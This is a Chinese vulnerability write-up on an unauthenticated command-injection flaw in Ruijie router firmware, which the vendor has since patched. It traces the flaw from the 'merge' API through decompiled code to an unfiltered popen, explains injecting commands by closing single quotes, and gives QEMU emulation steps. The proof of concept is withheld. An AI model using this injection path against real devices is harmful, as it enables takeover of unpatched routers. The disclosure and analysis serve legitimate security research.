根据厂商的要求,在修补后的固件未发布前,我对该漏洞细节进行了保密。如今新版本固件都已经发布,在这里给大家分享一下这一次的漏洞挖掘经历(包括**固件解密、仿真模拟、挖掘思路**等),希望能给各位师傅带来些许启发(大师傅们请绕道QAQ)。
|
||||
|
||||
**声明:**本文仅供用于安全技术的交流与学习,文中涉及到的敏感内容都进行了删减或脱敏处理,仅分析了漏洞链。若读者将本文内容用作其他用途,由读者承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
|
||||
|
||||
## 时间线
|
||||
|
||||
2023-02-27:发现漏洞,并将该漏洞上报给了厂商
|
||||
2023-02-28:厂商确认了漏洞,并启动了应急响应,开始修补并内测
|
||||
2023-03-06:厂商给予了一定的奖励(不过有点少QAQ)
|
||||
2023-05-24:厂商修复了所有影响的设备并发布了安全通告及致谢
|
||||
|
||||
安全通告:[https://www.ruijie.com.cn/gy/xw-aqtg-gw/91389/](https://www.ruijie.com.cn/gy/xw-aqtg-gw/91389/ "https://www.ruijie.com.cn/gy/xw-aqtg-gw/91389/")
|
||||
CVSS 3.1评分:9.8(严重,CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
|
||||
|
||||
## 固件解密
|
||||
|
||||
可以从厂商官网下载到最新固件,然而可以发现其中的固件大多都是加密的,用`binwalk`是无法解开的:
|
||||
|
||||

|
||||
|
||||
这大概是想要分析该固件所需迈过的第一道坎了,不过好在还是比较容易解密的。原因在于,只是大部分固件都被加密了,但是仍有少部分固件(或过渡版本的固件)并未加密,很容易想到这些固件升级的过程中肯定也会使用到解密的程序,因此可以**通过解开这些未加密固件,找到解密程序,并逆向分析出相关算法**,这也是固件解密最常用的一种手段。并且,一般一个厂商的固件加密算法都是相同的,故这样所有的固件我们都能够解开了。
|
||||
|
||||
此时,我们惊喜地发现`xxx`系列产品的`xxx`型号固件并没有被加密,可以成功解开。然而,如何找到固件的解密程序呢?显然,固件的解密操作肯定是在刷固件之前进行的,因此我们可以**查找`OpenWrt`中用于刷固件的`mtd`命令进行定位**:
|
||||
|
||||

|
||||
|
||||
很显然,此处的`rg-upgrade-crypto`自然就是我们所要找到固件解密程序,并找到它的路径`/usr/sbin/rg-upgrade-crypto`,对其逆向分析。
|
||||
|
||||
**(由于该加解密算法仍然被广泛应用于某捷的各类核心产品中,故这里不放出具体逆向分析的过程,此处省略xxx字........)**
|
||||
|
||||
因此,我们只需要根据`rg-upgrade-crypto`写出解密脚本,即可成功解开固件了:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
之后,解开不同类别、不同型号设备的固件,可以发现众多设备均使用的是该系统,因此只要挖出一个洞,就可通杀所有设备了。由于授权洞的实际影响并不算太大,所以我们期望挖出**未授权远程命令执行漏洞**。
|
||||
|
||||
## 漏洞分析
|
||||
|
||||
此部分以`xxx`固件为例进行分析,该固件是`aarch64`架构的。其他固件也许架构或部分字段的偏移不同,但均存在该漏洞。
|
||||
|
||||
### 找到无鉴权的API接口
|
||||
|
||||
显然,此类固件的`cgi`部分是用`Lua`所写的。我们既然想要挖未授权的漏洞,那么首先就要找到无鉴权的`API`接口,定位到`/usr/lib/lua/luci/controller/eweb/api.lua`文件。
|
||||
|
||||
可以看到,**只有对`/cgi-bin/luci/api/auth`发送请求的时候,不需要权限验证**:
|
||||
|
||||
```lua
|
||||
entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false
|
||||
```
|
||||
|
||||
根据调用的`rpc_auth`函数,可见此处对应的处理文件是`/usr/lib/lua/luci/modules/noauth.lua`:
|
||||
|
||||
```lua
|
||||
function rpc_auth()
|
||||
...
|
||||
local _tbl = require "luci.modules.noauth"
|
||||
...
|
||||
ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
|
||||
end
|
||||
```
|
||||
|
||||
进一步分析`/usr/lib/lua/luci/utils/jsonrpc.lua`中的`handle`及其相关函数,可以得知这里**通过`JSON`数据的`method`字段定位并调用`noauth.lua`中对应的函数,同时将`Json`数据的`params`字段内容作为参数传入**(由于与该漏洞原理关系不大,此处不展开分析)。
|
||||
|
||||
### 寻找可能存在漏洞的入口
|
||||
|
||||
在`noauth.lua`中,有`login`,`singleLogin`,`merge`和`checkNet`四个方法。其中,`singleLogin`函数无可控制的参数,不用看;`checkNet`函数中参数可控的字段只有`params.host`,并拼接入了命令字符串执行,但是在之前有`tool.checkIp(params.host)`对其的合法性进行了检查,无法绕过。
|
||||
|
||||
再来看到`login`登录验证函数,这里可控的字段乍一看比较多,比如`params.password`,`params.encry`,`params.limit`等字段。其中,对`params.password`字段用`tool.includeXxs`函数过滤了危险字符,故大概率之后会有相关的命令执行点。
|
||||
|
||||
```lua
|
||||
function login(params)
|
||||
...
|
||||
if params.password and tool.includeXxs(params.password) then
|
||||
tool.eweblog("INVALID DATA", "LOGIN FAILED")
|
||||
return
|
||||
end
|
||||
...
|
||||
local checkStat = {
|
||||
password = params.password,
|
||||
username = "admin", -- params.username,
|
||||
encry = params.encry,
|
||||
limit = params.limit
|
||||
}
|
||||
local authres, reason = tool.checkPasswd(checkStat)
|
||||
...
|
||||
end
|
||||
```
|
||||
|
||||
再来看到继续调用的`tool.checkPasswd`函数(在`/usr/lib/lua/luci/utils/tool.lua`中),其中检测了传入的`encry`和`limit`字段的真假值,并在这两个字段中写入了相应的固定字符串,`checkStat.username`又是传入的固定用户名`admin`,因此**真正可控的只有`password`字段**,并调用了`cmd.devSta.get`函数进一步处理。
|
||||
|
||||
```lua
|
||||
function checkPasswd(checkStat)
|
||||
...
|
||||
local _data = {
|
||||
type = checkStat.encry and "enc" or "noenc",
|
||||
password = checkStat.password,
|
||||
name = checkStat.username,
|
||||
limit = checkStat.limit and "true" or nil
|
||||
}
|
||||
local _check = cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})
|
||||
...
|
||||
end
|
||||
```
|
||||
|
||||
然而,虽然`password`字段用`includeXxs`函数(同样在`tool.lua`中)过滤了危险字符,但是**并没有过滤`\n`这个命令分隔符**。因此,若之后当真存在命令执行点的话,似乎还是有希望完成命令注入的。
|
||||
|
||||
```lua
|
||||
function includeXxs(str)
|
||||
local ngstr = "[`&$;|]"
|
||||
return string.match(str, ngstr) ~= nil
|
||||
end
|
||||
```
|
||||
|
||||
继续往下看到`/usr/lib/lua/luci/modules/cmd.lua`,`devSta.get`对应着如下处理函数,其中`opt[i]`循环匹配到`get`方式,会通过`doParams`函数对传入的`Json`参数进行解析,将其中的`data`等字段分离出来,传入`fetch`函数做进一步处理。
|
||||
|
||||
```lua
|
||||
devSta[opt[i]] = function(params)
|
||||
local model = require "dev_sta"
|
||||
params.method = opt[i]
|
||||
params.cfg_cmd = "dev_sta"
|
||||
local data, back, ip, password, shell = doParams(params)
|
||||
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
|
||||
```
|
||||
|
||||
然而,注意到`doParams`函数中对`data`字段进行提取的时候,用到了`luci.json.encode`函数。这里的`data`字段就是上述`checkPasswd`函数中传入`devSta.get`作为`Json`参数的`_data`的内容,我们的疑似注入点`password`字段就在其中。**此处的`luci.json.encode`函数会对`\n`(即`\u000a`)类字符进行转义,也就不会被解析成换行符了**,不论我们后续再如何传参,这个疑似的漏洞点已经被封堵住了。
|
||||
|
||||
```lua
|
||||
if params.data then
|
||||
data = luci.json.encode(params.data)
|
||||
_shell = _shell .. " '" .. data .. "'"
|
||||
end
|
||||
```
|
||||
因此,我们只能将目光聚焦于`noauth.lua`中最后一个可能的入口`merge`方法了。这个函数比较简单,**调用了`devSta.set`函数,其`Json`参数中的`data`字段就是传入的`POST`报文中`params`的内容**。
|
||||
|
||||
```lua
|
||||
function merge(params)
|
||||
local cmd = require "luci.modules.cmd"
|
||||
return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true})
|
||||
end
|
||||
```
|
||||
|
||||
这里`merge`方法的入口处没有任何过滤,不过之后是否存在字符过滤和命令执行点还需要进一步分析。
|
||||
|
||||
### 进一步分析参数传递过程
|
||||
|
||||
在`noauth.lua`的`merge`函数中,调用了`devSta.set`函数,同样是对应着`cmd.lua`中的如下位置,此时`opt[i]`循环到了`set`方式。此时,由于之前**没有任何过滤**,无需使用换行符作为命令分隔符,最简单的分号、反引号之类的即可,故`doParams`函数中的`encode`不会造成影响。
|
||||
|
||||
```lua
|
||||
devSta[opt[i]] = function(params)
|
||||
local model = require "dev_sta"
|
||||
params.method = opt[i]
|
||||
params.cfg_cmd = "dev_sta"
|
||||
local data, back, ip, password, shell = doParams(params)
|
||||
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
|
||||
```
|
||||
|
||||
接着,我们可控的`data`字段将被传入`cmd.lua`的`fetch`函数中。其中,会将从第四个开始的参数(包括`data`字段),均传递到第一个参数所指向的函数中,即**`/usr/lib/lua/dev_sta.lua`中的`fetch`函数**。
|
||||
|
||||
```lua
|
||||
local function fetch(fn, shell, params, ...)
|
||||
...
|
||||
local _res = fn(...)
|
||||
...
|
||||
end
|
||||
```
|
||||
|
||||
在`/usr/lib/lua/dev_sta.lua`的`fetch`函数中,这里的`cmd`是`set`方式,`module`是`networkId_merge`,而此处的`param`就是我们可控的`data`字段(即最初`POST`报文中`params`的内容)。可见,对一些字段赋予了真假值后,**最终将参数都传递给了`/usr/lib/lua/libuflua.so`中的`client_call`函数**。接下来,就是对二进制文件逆向分析并寻找是否存在命令执行点了。
|
||||
|
||||
```lua
|
||||
function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
|
||||
local uf_call = require "libuflua"
|
||||
...
|
||||
local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
|
||||
...
|
||||
end
|
||||
```
|
||||
|
||||
然而,分析`libuflua.so`可以发现,`Lua`中所调用的`client_call`函数,其实是**`uf_client_call`函数**,这是在其他共享库中定义的函数。查找对比一下,不难发现这个函数定义在`/usr/lib/libunifyframe.so`中。
|
||||
|
||||

|
||||
|
||||
在**`/usr/lib/libunifyframe.so`的`uf_client_call`函数**中,先将传入的`data`等字段转为`Json`格式的数据,作为`param`字段的内容。然后将`Json`数据**通过`uf_socket_msg_write`用`socket`套接字(分析可知,此处采用的是本地通信的方式)进行数据传输**。
|
||||
|
||||
```C
|
||||
json_object_object_add(v22, "data", v35);
|
||||
LABEL_82:
|
||||
...
|
||||
json_object_object_add(v5, "params", v22);
|
||||
v44 = (const char *)json_object_to_json_string(v5);
|
||||
...
|
||||
v45 = uf_socket_client_init(0LL);
|
||||
...
|
||||
v51 = strlen(v44);
|
||||
uf_socket_msg_write(v45, v44, v51);
|
||||
```
|
||||
|
||||
既然这里采用`uf_socket_msg_write`进行数据发送,那么肯定有某个地方**会使用`uf_socket_msg_read`进行数据接收**,再进一步处理。匹配一下,一共三个文件,很容易锁定`/usr/sbin/unifyframe-sgi.elf`文件。又发现在初始化脚本`/etc/init.d/unifyframe-sgi`中,启动了`unifyframe-sgi.elf`,即**说明`unifyframe-sgi.elf`一直挂在进程中**。因此,我们可以确定`unifyframe-sgi.elf`就是接收`libunifyframe.so`所发数据的文件(这里采用了`Ubus`总线进行进程间通信)。
|
||||
|
||||

|
||||
|
||||
```
|
||||
$ cat etc/init.d/unifyframe-sgi
|
||||
|
||||
...
|
||||
PROG=/usr/sbin/unifyframe-sgi.elf
|
||||
...
|
||||
|
||||
if [ -f "$IPKG_INSTROOT/lib/functions/procd.sh" ]; then
|
||||
...
|
||||
else
|
||||
...
|
||||
start() {
|
||||
...
|
||||
echo "Starting $PROG ..."
|
||||
service_start $PROG
|
||||
...
|
||||
}
|
||||
|
||||
stop() {
|
||||
...
|
||||
}
|
||||
fi
|
||||
```
|
||||
|
||||
接下来就是最核心的部分,对`unifyframe-sgi.elf`二进制文件进行逆向分析并寻找命令执行点了。
|
||||
|
||||
### 逆向分析并寻找命令执行点
|
||||
|
||||
> 由于篇幅限制,笔者无法对所有细节都做到详细分析,故建议读者在复现此部分内容之前,自己先逆向分析一遍,体会一下。
|
||||
|
||||
在`unifyframe-sgi.elf`中,**对`uf_socket_msg_read`函数交叉引用**,找到`socket`数据接收点。如下方代码段,`v6 = 0x432000`,简单计算一下,可知`v57`即为`uf_socket_msg_read`函数,其中**接收到的数据存储在`v56[1]`中**。接收到的`Json`数据形如**`{"method":"devSta.set", "params":{"module":"networkId_merge", "async":true, "data":"xxx"}}`**(可结合上文,自行分析得出),其中`data`字段可控。
|
||||
|
||||
```C
|
||||
v6 = 0x432000uLL;
|
||||
...
|
||||
v57 = *(__int64 (__fastcall **)(__int64, unsigned int **))(v6 + 1784); // uf_socket_msg_read
|
||||
v58 = *v46;
|
||||
*v56 = v46;
|
||||
v59 = v57(v58, v56 + 1);
|
||||
```
|
||||
|
||||
接下来就是根据调试等级向日志写入相关信息的部分,不需要管。之后,会调用`parse_content`函数,从这个名字就可以看出是对`v56`中的`Json`数据进行解析的。解析成功后,就会将处理后的`v56`作为参数传入`add_pkg_cmd2_task`函数。
|
||||
|
||||
```C
|
||||
if ( !(*(unsigned int (__fastcall **)(unsigned int **))(v6 + 3328))(v56) ) // 0x432D00 parse_content
|
||||
{
|
||||
...
|
||||
if ( !(*(unsigned int (__fastcall **)(unsigned int **))(v6 + 1776))(v56) ) // 0x4326F0 add_pkg_cmd2_task
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
我们先来看`parse_content`函数,显然`method`字段不包含`cmdArr`,因此进入`else`分支,其中调用`parse_obj2_cmd`函数进行数据解析。
|
||||
|
||||
```C
|
||||
if ( (unsigned int)json_object_object_get_ex(v4, "method", &v15) == 1 )
|
||||
{
|
||||
v6 = (const char *)json_object_get_string(v15);
|
||||
...
|
||||
if ( strstr(v6, "cmdArr") )
|
||||
{
|
||||
...
|
||||
}
|
||||
else
|
||||
{
|
||||
*(_DWORD *)(a1 + 60) = 1;
|
||||
v13 = malloc_cmd();
|
||||
if ( v13 )
|
||||
{
|
||||
v14 = parse_obj2_cmd(v4, string);
|
||||
...
|
||||
}
|
||||
else
|
||||
{
|
||||
...
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
在`parse_obj2_cmd`函数中,需要注意记录一下各字段存储位置的偏移,后续逆向过程需要用到。这里暂且只记录两个,**`from_url`字段的偏移为`81`,我们可控的`data`字段的偏移为`24`**(`v5`是`QWORD`类型,八字节)。
|
||||
|
||||
```C
|
||||
if ( (unsigned int)json_object_object_get_ex(v42, "from_url", &v43) == 1 )
|
||||
{
|
||||
v21 = (const char *)sub_4069B8(v43);
|
||||
v22 = (char *)v21;
|
||||
if ( v21 )
|
||||
{
|
||||
if ( *v21 == 49 || !strcmp(v21, "true") )
|
||||
*((_BYTE *)v5 + 81) = 1;
|
||||
free(v22);
|
||||
}
|
||||
```
|
||||
|
||||
```C
|
||||
_QWORD *v5; // x20
|
||||
...
|
||||
if ( (unsigned int)json_object_object_get_ex(v42, "data", &v43) == 1
|
||||
&& (unsigned int)json_object_get_type(v43) - 4 <= 2 )
|
||||
{
|
||||
if ( json_object_get_string(v43) )
|
||||
{
|
||||
v31 = ((__int64 (*)(void))strdup)();
|
||||
v5[3] = v31;
|
||||
if ( !v31 )
|
||||
{
|
||||
v10 = 561LL;
|
||||
goto LABEL_11;
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
此外,当`async`字段为`false`的时候,偏移`76`和`77`的位置都为`1`。但这里的`async`字段为`true`,故**这两个偏移处均为初始值`0`**。
|
||||
|
||||
```C
|
||||
if ( (unsigned int)json_object_object_get_ex(v42, "async", &v43) == 1 )
|
||||
{
|
||||
v15 = (const char *)sub_4069B8(v43);
|
||||
v16 = (char *)v15;
|
||||
if ( v15 )
|
||||
{
|
||||
if ( *v15 == 48 || !strcmp(v15, "false") )
|
||||
{
|
||||
*((_BYTE *)v5 + 76) = 1;
|
||||
*((_BYTE *)v5 + 77) = 1;
|
||||
}
|
||||
...
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
再来看到`add_pkg_cmd2_task`函数,前面部分是一些检查和无关操作,就不仔细分析了。很容易发现最后调用了一个很敏感的函数`uf_cmd_call`,看名字应该是命令执行相关的。
|
||||
|
||||
```C
|
||||
if ( (unsigned int)uf_cmd_call(*v4, v4 + 1) )
|
||||
v13 = 2;
|
||||
else
|
||||
v13 = 1;
|
||||
```
|
||||
|
||||
在`uf_cmd_call`函数中,乍一看,貌似有一个命令执行点,这里的`v20`是偏移`24`的位置,也就是`data`字段内容,之后将`data`字段中的数据转成`Json`格式存入`v24`,然后从中提取`url`字段的内容拼接入命令字符串中,并用`popen`执行。
|
||||
|
||||
```C
|
||||
v20 = *((_QWORD *)a1 + 3);
|
||||
...
|
||||
v24 = json_tokener_parse(v20);
|
||||
...
|
||||
v26 = json_object_object_get(v24, "url");
|
||||
v27 = v26;
|
||||
...
|
||||
v28 = (const char *)json_object_get_string(v27);
|
||||
...
|
||||
v33 = snprintf(v30, v32 + 127, "curl -m 5 -s -k -X GET \"%s", v28);
|
||||
...
|
||||
while ( 1 )
|
||||
{
|
||||
ufm_popen(v30, v84);
|
||||
```
|
||||
|
||||
然而,仔细分析一番,就会发现这是空欢喜一场。因为`v20`是偏移`81`的`from_url`字段,这是我们**不可控的**。若是该字段为假,**会将`data`字段内容传给`v85[19]`**(`v85`是`int64`类型,八字节),并**直接跳转到`LABEL_96`处,也就无法执行到上方的程序片段了**。
|
||||
|
||||
```C
|
||||
v19 = *((unsigned __int8 *)a1 + 81);
|
||||
...
|
||||
if ( !v19 )
|
||||
{
|
||||
v85[19] = *((_QWORD *)a1 + 3);
|
||||
goto LABEL_96;
|
||||
}
|
||||
```
|
||||
|
||||
从`LABEL_96`处开始是一堆字段的提取,存放入`v85`数组中,还有一些关于`v85`数组中数据的处理。这里需要关注的是:**`v85`偏移`8`和`9`的位置为`a1`偏移`77`和`76`的位置(上文分析过,此时这两个偏移的值均为`0`)**。
|
||||
|
||||
```C
|
||||
LOBYTE(v85[1]) = *((_BYTE *)a1 + 77);
|
||||
BYTE1(v85[1]) = *((_BYTE *)a1 + 76);
|
||||
```
|
||||
|
||||
既然从`LABEL_96`开始都是对`v85`数组进行操作的,**那么`v85`指针肯定会作为参数传递给下一个调用的函数**,以这个思路,就很容易定位到下面的`ufm_handle(v85)`了。
|
||||
|
||||
```C
|
||||
v8 = ufm_handle(v85);
|
||||
pthread_mutex_unlock((pthread_mutex_t *)(v85[23] + 152));
|
||||
pthread_cleanup_pop(v84, 0LL);
|
||||
```
|
||||
|
||||
在`ufm_handle`函数中,由于我们是`set`方式,因此会调用到`sub_410140`函数。
|
||||
|
||||
```C
|
||||
if ( strcmp((const char *)v6, "get") )
|
||||
{
|
||||
v1 = "uniframe_sgi/error.log";
|
||||
if ( !strcmp((const char *)v6, "set")
|
||||
|| !strcmp((const char *)v6, "add")
|
||||
|| !strcmp((const char *)v6, "del")
|
||||
|| !strcmp((const char *)v6, "update") )
|
||||
{
|
||||
v33 = sub_410140(v3);
|
||||
```
|
||||
|
||||
进入`sub_410140`函数,首先`sn`字段为空的条件满足,跳转到`LABEL_36`。
|
||||
|
||||
```C
|
||||
v6 = json_object_object_get(a1[22], "sn");
|
||||
if ( !v6 )
|
||||
goto LABEL_36;
|
||||
```
|
||||
|
||||
接着,会调用到`sub_40DA38`函数。
|
||||
|
||||
```C
|
||||
LABEL_36:
|
||||
...
|
||||
v5 = sub_40DA38(a1, a1 + 21, 0LL, 0LL);
|
||||
```
|
||||
|
||||
在`sub_40DA38`函数中,显然前面的部分无关紧要,不过需要注意一下`v5`和`v6`分别是`a3`和`a4`,根据传入的值,均为零。因此,进入`else`分支,这里会将`data`字段的内容(前文分析过,此处偏移`19*8`的位置也被赋为了`data`字段的内容)拼接入两个单引号内。此处`v4`字符串形如**`/usr/sbin/module_call set networkId_merge 'xxx'`**(可自行分析得出),很显然是一个命令,并且单引号内的内容我们可控,所以我们只需要**左右分别闭合单引号,中间注入恶意命令,并用分隔符隔开**即可完成命令注入。不过,这里还没到命令执行点,由于不确定之后是否会有过滤,我们需要接着往下看。
|
||||
|
||||
```C
|
||||
LODWORD(v5) = a3;
|
||||
v6 = a4;
|
||||
...
|
||||
if ( (_DWORD)v5 )
|
||||
{
|
||||
...
|
||||
}
|
||||
else if ( v6 )
|
||||
{
|
||||
...
|
||||
}
|
||||
else
|
||||
{
|
||||
v84 = snprintf(
|
||||
v4,
|
||||
v75,
|
||||
"/usr/sbin/module_call %s %s",
|
||||
*((const char **)v7 + 5),
|
||||
(const char *)(*((_QWORD *)v7 + 23) + 16LL));
|
||||
v85 = &v4[v84];
|
||||
v86 = (const char *)*((_QWORD *)v7 + 19);
|
||||
if ( v86 )
|
||||
v85 += snprintf(&v4[v84], v75, " '%s'", v86); // data字段拼接入单引号内
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
接着,由之前的分析,此处`v7`偏移`8`的位置为`0`(`async`不是`false`),故进入`else`分支,其中会将`v4`传入`ufm_commit_add`函数,作为第二个参数。
|
||||
|
||||
```C
|
||||
if ( (!v79 || !strcmp(v78, "commit") || (_DWORD)v5) && v7[8] )
|
||||
{
|
||||
...
|
||||
}
|
||||
else
|
||||
{
|
||||
...
|
||||
v13 = ufm_commit_add(0LL, v4, 0LL, a2);
|
||||
}
|
||||
```
|
||||
|
||||
然后,继续进入`async_cmd_push_queue`函数。
|
||||
|
||||
```C
|
||||
__int64 __fastcall ufm_commit_add(__int64 a1, __int64 a2, unsigned __int8 a3, const char **a4)
|
||||
{
|
||||
...
|
||||
v6 = async_cmd_push_queue(a1, a2, a3);
|
||||
```
|
||||
|
||||
此处,`a1`为`0`,**将`a2`存入`v4`偏移`6*8`字节处**,然后跳转到`LABEL_28`的位置。
|
||||
|
||||
```C
|
||||
if ( !a1 )
|
||||
{
|
||||
if ( a2 )
|
||||
{
|
||||
v23 = strdup(a2);
|
||||
v4[6] = v23;
|
||||
if ( v23 )
|
||||
goto LABEL_28;
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
在`LABEL_28`处,注意到最后使用`sem_post`的原子操作,将信号量加上了`1`。因此,应该**会有其他地方在检测到信号量发生改变后,对数据进行处理**。
|
||||
|
||||
```C
|
||||
LABEL_28:
|
||||
...
|
||||
*((_BYTE *)v4 + 56) = v7;
|
||||
dword_4336B8 = v22 + 1;
|
||||
if ( !v7 )
|
||||
sem_init((sem_t *)((char *)v4 + 60), 0, 0);
|
||||
pthread_mutex_unlock((pthread_mutex_t *)&stru_433670[1]);
|
||||
sem_post(stru_433670);
|
||||
```
|
||||
|
||||
通过**对此处的信号量`stru_433670`交叉引用**,可以定位到`sub_419584`函数。这里偏移`56`的位置即为上述代码段中的`v7`,对应传入的第三个参数,根据上文分析,其值为`0`。因此,会将`6*8`字节偏移处的数据(上文分析过,该偏移位置存放着命令字符串)作为`popen`的参数执行,且没有任何过滤。此处采用的是**异步执行**的方式。
|
||||
|
||||
```C
|
||||
v11 = *((_QWORD *)v5 + 6);
|
||||
if ( !*((_BYTE *)v5 + 56) )
|
||||
{
|
||||
v10 = ufm_popen(v11, v5 + 24);
|
||||
goto LABEL_18;
|
||||
}
|
||||
```
|
||||
|
||||
至此,该未授权`RCE`漏洞的调用链分析完毕。
|
||||
|
||||
### PoC
|
||||
|
||||
> 由于该漏洞影响较大,`Poc`暂不公开。各位师傅可根据上文分析,自行复现。
|
||||
|
||||
```
|
||||
暂不公开
|
||||
```
|
||||
|
||||
### 真机演示
|
||||
|
||||
对某远程测试靶机攻击后,无需身份验证即得到了该设备的最高控制权:
|
||||
|
||||

|
||||
|
||||
## 仿真模拟
|
||||
|
||||
此部分仿真采用的是`xxx`型号的固件,因为这款是`mipsel`架构的,仿真起来方便一些。
|
||||
|
||||
由于目前没有很完美的仿真工具,比较常用的`FirmAE`,`EMUX`,`firmware-analysis-plus`等也都存在各种问题(至少直接仿真大多数设备都是不太行的),所以笔者一般都采用`qemu-system`自行仿真模拟,再者该系统的固件不涉及到`nvram`,采用的是`uci`命令完成类似的效果,故也不需要用上述仿真工具来`hook`相关函数了。
|
||||
|
||||
首先从`https://people.debian.org/~aurel32/qemu/mipsel`下载`vmlinux-3.2.0-4-4kc-malta`内核与`debian_squeeze_mipsel_standard.qcow2`文件系统,这里提供的文件虽然是比较老的了(较新版可以在`https://pub.sergev.org/unix/debian-on-mips32`下载),但不影响我们使用。
|
||||
|
||||
下面直接给出`qemu`的启动脚本:
|
||||
|
||||
```Shell
|
||||
#!/bin/bash
|
||||
|
||||
sudo qemu-system-mipsel \
|
||||
-cpu 74Kf \
|
||||
-M malta \
|
||||
-kernel vmlinux-3.2.0-4-4kc-malta \
|
||||
-hda debian_squeeze_mipsel_standard.qcow2 \
|
||||
-append "root=/dev/sda1 console=tty0" \
|
||||
-net nic,macaddr=00:16:3e:00:00:01 \
|
||||
-net tap \
|
||||
-nographic
|
||||
```
|
||||
|
||||
需要特别注意的是,**这里设定了`cpu`为`74kf`,因为若不特别说明,默认是`24Kc`,而该固件需要较高版本的`cpu`,不然在之后`chroot`切换根目录的时候就会出现`Illegal instruction`(非法指令)错误**。可用`qemu-system-mipsel -cpu help`命令查看`qemu-system-mipsel`所有支持的`cpu`版本。
|
||||
|
||||
在正式开始仿真前,需要先进行网络配置。用`ip addr`或`ifconfig`命令查看一下主机的`ip`,如下图为`eth0`(或`ens33`)对应的`192.168.192.129`,若是没有,手动用`sudo ifconfig eth0 xx.xx.xx.xx`分配一下即可。
|
||||
|
||||

|
||||
|
||||
然后,用上面的脚本启动`qemu-system`(先需要配置一下`/etc/qemu-ifup`),初始账号密码`root/root`。在`qemu`中,也需要给网卡分配一下`ip`,这样主机和`qemu`间就能通信了(可以互相`ping`通)。
|
||||
|
||||

|
||||
|
||||
我们将固件打包成`rootfs.tar.gz`,再通过`scp rootfs.tar.gz [email protected]:/root/rootfs`传输给`qemu`虚拟机,然后在`qemu`虚拟机中`tar zxvf rootfs.tar.gz`解压即可(打包之后传输更快)。接着,在`qemu`中依次执行以下命令:
|
||||
|
||||
```Shell
|
||||
cd rootfs
|
||||
chmod -R 777 ./
|
||||
mount --bind /proc proc
|
||||
mount --bind /dev dev
|
||||
chroot . /bin/sh
|
||||
```
|
||||
|
||||
解释一下,这里`chmod`给全部文件都赋予所有权限,是为了方便在仿真过程中不用再考虑权限问题的影响了。之后使用`mount`将`rootfs`中的`proc`和`dev`目录挂载到`/proc`和`/dev`系统目录(显然仿真系统的这两个目录也需要用`qemu`虚拟机的系统目录),最后用`chroot`将`rootfs`切换为根目录,完成准备工作。
|
||||
|
||||
以上都是些用`qemu`对设备仿真模拟的基本操作,接下来正式开始对这款设备的固件进行仿真。首先,对于`OpenWRT`来说,内核加载完文件系统后,**首先会启动`/sbin/init`进程**,其中会进一步执行`/etc/preinit`和`/sbin/procd`,进行初步初始化。这当然也是仿真模拟的第一步,在启动`/sbin/init`后,会卡住挂在进程中,我们可以再`ssh`开一个新窗口进行后续操作,也可以用**`/sbin/init &`**将其作为后台进程执行。
|
||||
|
||||

|
||||
|
||||
接着,真实系统会根据`/etc/inittab`中按编号次序执行`/etc/rc.d`中的初始化脚本,而`/etc/rc.d`中的文件都是`/etc/init.d`中对应文件的软链接。虽然说真实系统会依次执行所有的初始化脚本,但我们此处的仿真只是为了验证我们的漏洞,因此只需要部分仿真即可。
|
||||
|
||||
显然,**我们最开始肯定是需要启动`httpd`服务的,对应`/etc/init.d/lighttpd`初始化脚本**。用`/etc/init.d/lighttpd start`命令启动服务后,发现缺少了`/var/run/lighttpd.pid`文件:
|
||||
|
||||

|
||||
|
||||
这是因为我们是部分仿真的,没有按照次序,故之前没有创建这个文件,而通过查看该初始化脚本,可以发现此处`/rom/etc/lighttpd/lighttpd.conf`的缺失并无影响。因此,**创建`/var/run/lighttpd.pid`文件后,再次`/etc/init.d/lighttpd start`启动服务**即可。
|
||||
|
||||
可以看到,此时进程中已经成功执行`lighttpd`程序,并且通过浏览器可以正常访问该漏洞入口的`api`。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
接着,**我们需要启动`unifyframe-sgi.elf`了,对应`/etc/init.d/unifyframe-sgi`的初始化脚本**。用`/etc/init.d/unifyframe-sgi start`直接启动后,报错`Failed to connect to ubus`:
|
||||
|
||||

|
||||
|
||||
这是**因为`unifyframe-sgi.elf`中用到了`ubus`总线进行进程间通信**,因此**需要先执行`/sbin/ubusd`启动`ubus`通信,才能启动`uf_ubus_call.elf`,继而才能再启动`unifyframe-sgi.elf`**。
|
||||
|
||||
按照上述步骤启动后,可以发现进程中有了`uf_ubus_call.elf`,但是仍然没有`unifyframe-sgi.elf`,同时`procd`守护进程收到了一个`Segmentation fault`段错误的信号,意味着**启动`unifyframe-sgi.elf`的时候出现了段错误**。
|
||||
|
||||

|
||||
|
||||
接下来,我们需要分析`unifyframe-sgi.elf`为何会出现段错误,大概率是由于缺少一些文件或目录所导致的。首先,发现此时`/tmp/uniframe_sgi`中已经存在`record`文件夹,但并未创建`sgi.log`日志文件,进入`unifyframe-sgi.elf`的主函数,容易定位到`reserve_core`函数,其中**需要打开`/tmp/coredump`目录,但这个目录此时是不存在的,因此造成了段错误**。
|
||||
|
||||

|
||||
|
||||
创建`/tmp/coredump`目录后,运行`/usr/sbin/unifyframe-sgi.elf`程序,因**缺少`/tmp/rg_device/rg_device.json`文件**报错:
|
||||
|
||||

|
||||
|
||||
这里的`rg_device.json`大概率是在某前置操作中从其他位置复制过来的,故搜索同名文件,不过有很多:
|
||||
|
||||

|
||||
|
||||
为了确定是哪一个,我们定位到`ufm_init`函数中,发现此处之后**会从`rg_device.json`中读取`dev_type`字段**的内容。
|
||||
|
||||

|
||||
|
||||
